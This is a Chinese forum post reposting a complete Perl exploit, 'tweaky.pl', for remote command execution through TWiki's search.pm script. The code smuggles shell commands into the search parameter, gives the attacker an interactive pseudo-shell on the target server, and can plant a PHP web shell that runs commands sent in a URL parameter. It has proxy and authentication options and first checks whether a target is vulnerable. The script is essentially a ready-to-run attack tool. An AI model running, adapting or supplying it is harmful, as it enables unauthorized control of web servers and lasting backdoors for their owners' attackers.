发新话题
打印

TWiki 20030201 search.pm Remote Command Execution Exploit

TWiki 20030201 search.pm Remote Command Execution Exploit

文章作者:RoMaNSoFt
复制内容到剪贴板
代码:
#!/usr/bin/perl

# "tweaky.pl" v. 1.0 beta 2
#
# Proof of concept for TWiki vulnerability. Remote code execution
# Vuln discovered, researched and exploited by RoMaNSoFt <roman rs-labs com>
#
# Madrid, 30.Sep.2004.


require LWP::UserAgent;
use Getopt::Long;

### Default config
$host = &#39;&#39;;
$path = &#39;/cgi-bin/twiki/search/Main/&#39;;
$secure = 0;
$get = 0;
$post = 0;
$phpshellpath=&#39;&#39;;
$createphpshell = &#39;(echo `perl -e \&#39;print chr(60).chr(63)\&#39;` ; echo \&#39;$out = shell_exec($_GET["cmd"].
" 2\&#39;`perl -e \&#39;print chr(62).chr(38)\&#39;`\&#39;1");\&#39; ; echo \&#39;echo "\&#39;`perl -e \&#39;print chr(60)."pre".chr(62)."\\\\
$out".chr(60)."/pre".chr(62)\&#39;`\&#39;";\&#39; ; echo `perl -e \&#39;print chr(63).chr(62)\&#39;`) | tee &#39;;
$logfile = &#39;&#39;; # If empty, logging will be disabled
$prompt = "tweaky\$ ";
$useragent = &#39;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&#39;;
$proxy = &#39;&#39;;
$proxy_user = &#39;&#39;;
$proxy_pass = &#39;&#39;;
$basic_auth_user = &#39;&#39;;
$basic_auth_pass = &#39;&#39;;
$timeout = 30;
$debug = 0;
$init_command = &#39;uname -a ; id&#39;;
$start_mark = &#39;AAAA&#39;;
$end_mark = &#39;BBBB&#39;;
$pre_string = &#39;nonexistantttt\&#39; ; (&#39;;
$post_string = &#39;) | sed \&#39;s/\(.*\)/&#39;.$start_mark.&#39;\1&#39;.$end_mark.&#39;.txt/\&#39; ; fgrep -i -l -- \&#39;nonexistantttt&#39;;
$delim_start = &#39;<b>&#39;.$start_mark;
$delim_end = $end_mark.&#39;</b>&#39;;

print "Proof of concept for TWiki vulnerability. Remote code execution.\n";
print "(c) RoMaNSoFt, 2004. <roman\@rs-labs.com>\n\n";

### User-supplied config (read from the command-line)
$parsing_ok = GetOptions (&#39;host=s&#39; => \$host,
&#39;path=s&#39; => \$path,
&#39;secure&#39; => \$secure,
&#39;get&#39; => \$get,
&#39;post&#39; => \$post,
&#39;phpshellpath=s&#39; => \$phpshellpath,
&#39;logfile=s&#39; => \$logfile,
&#39;init_command=s&#39; => \$init_command,
&#39;useragent=s&#39; => \$useragent,
&#39;proxy=s&#39; => \$proxy,
&#39;proxy_user=s&#39; => \$proxy_user,
&#39;proxy_pass=s&#39; => \$proxy_pass,
&#39;basic_auth_user=s&#39; => \$basic_auth_user,
&#39;basic_auth_pass=s&#39; => \$basic_auth_pass,
&#39;timeout=i&#39; => \$timeout,
&#39;debug&#39; => \$debug,
&#39;start_mark=s&#39; => \$start_mark,
&#39;end_mark=s&#39; => \$end_mark);

### Some basic checks
&banner unless ($parsing_ok);

if ($get and $post) {
print "Choose one only method! (GET or POST)\n\n";
&banner;
}

if (!($get or $post)) {
# If not specified we prefer POST method
$post = 1;
}

if (!$host) {
print "You must specify a target hostname! (tip: --host <hostname>)\n\n" ;
&banner;
}

$url = ($secure ? &#39;https&#39; : &#39;http&#39;) . "://" . $host . $path;

### Checking for a vulnerable TWiki
&run_it ($init_command, &#39;RS-Labs rlz!&#39;);

### Execute selected payload

if ($phpshellpath) {
&create_phpshell;
print "PHPShell created.";
} else {
&pseudoshell;
}

### End
exit(0);


### Create PHPShell
sub create_phpshell {
$createphpshell .= $phpshellpath;
&run_it($createphpshell, &#39;yeah!&#39;);
}


### Pseudo-shell
sub pseudoshell {
open(LOGFILE, ">>$logfile") if $logfile;
open(STDINPUT, &#39;-&#39;);

print "Welcome to RoMaNSoFt&#39;s pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n
\n".$prompt.$init_command."\n";
&run_it ($init_command);
print $prompt;

while (<STDINPUT>) {
chop;
if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") {
exit(1);
}

&run_it ($_) unless !$_;
print "\n".$prompt;
}

close(STDINPUT);
close(LOGFILE) if $logfile;
}


### Print banner and die
sub banner {
print "Syntax: ./tweaky.pl --host=<host> [options]\n\n";
print "Proxy options: --proxy=http://proxy:port --proxy_user=foo --proxy_pass=bar\n";
print "Basic auth options: --basic_auth_user=foo --basic_auth_pass=bar\n";
print "Secure HTTP (HTTPS): --secure\n";
print "Path to CGI: --path=$path\n";
print "Method: --get | --post\n";
print "Enable logging: --logfile=/path/to/a/file\n";
print "Create PHPShell: --phpshellpath=/path/to/phpshell\n";

exit(1);
}


### Execute command via vulnerable CGI
sub run_it {
my ($command, $testing_vuln) = @_;
my $req;
my $ua = new LWP::UserAgent;

$ua->agent($useragent);
$ua->timeout($timeout);

# Build CGI param and urlencode it
my $search = $pre_string . $command . $post_string;
$search =~ s/(\W)/"%" . unpack("H2", $1)/ge;

# Case GET
if ($get) {
$req = HTTP::Request->new(&#39;GET&#39;, $url . "?scope=text&order=modified&search=$search");
}

# Case POST
if ($post) {
$req = new HTTP::Request POST => $url;
$req->content_type(&#39;application/x-www-form-urlencoded&#39;);
$req->content("scope=text&order=modified&search=$search");
}

# Proxy definition
if ($proxy) {
if ($secure) {
# HTTPS request
$ENV{HTTPS_PROXY} = $proxy;
$ENV{HTTPS_PROXY_USERNAME} = $proxy_user;
$ENV{HTTPS_PROXY_PASSWORD} = $proxy_pass;
} else {
# HTTP request
$ua->proxy([&#39;http&#39;] => $proxy);
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
}
}

# Basic Authorization
$req->authorization_basic($basic_auth_user, $basic_auth_pass) if ($basic_auth_user);

# Launch request and parse results
my $res = $ua->request($req);

if ($res->is_success) {

print LOGFILE "\n".$prompt.$command."\n" if ($logfile and !$testing_vuln);
@content = split("\n", $res->content);

my $empty_response = 1;

foreach $_ (@content) {
my ($match) = ($_ =~ /$delim_start(.*)$delim_end/g);

if ($debug) {
print $_ . "\n";
} else {
if ($match) {
$empty_response = 0;
print $match . "\n" unless ($testing_vuln);
}
}

print LOGFILE $match . "\n" if ($match and $logfile and !$testing_vuln);
}

if ($empty_response) {
if ($testing_vuln) {
die "Sorry, exploit didn&#39;t work!\nPerhaps TWiki is patched or you supplied a wrong URL
(remember it should point to Twiki&#39;s search page).\n";
} else {
print "[Server issued an empty response. Perhaps you entered a wrong command?]\n";
}
}

} else {
die "Couldn&#39;t connect to server. Error message follows:\n" . $res->status_line . "\n";
}
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题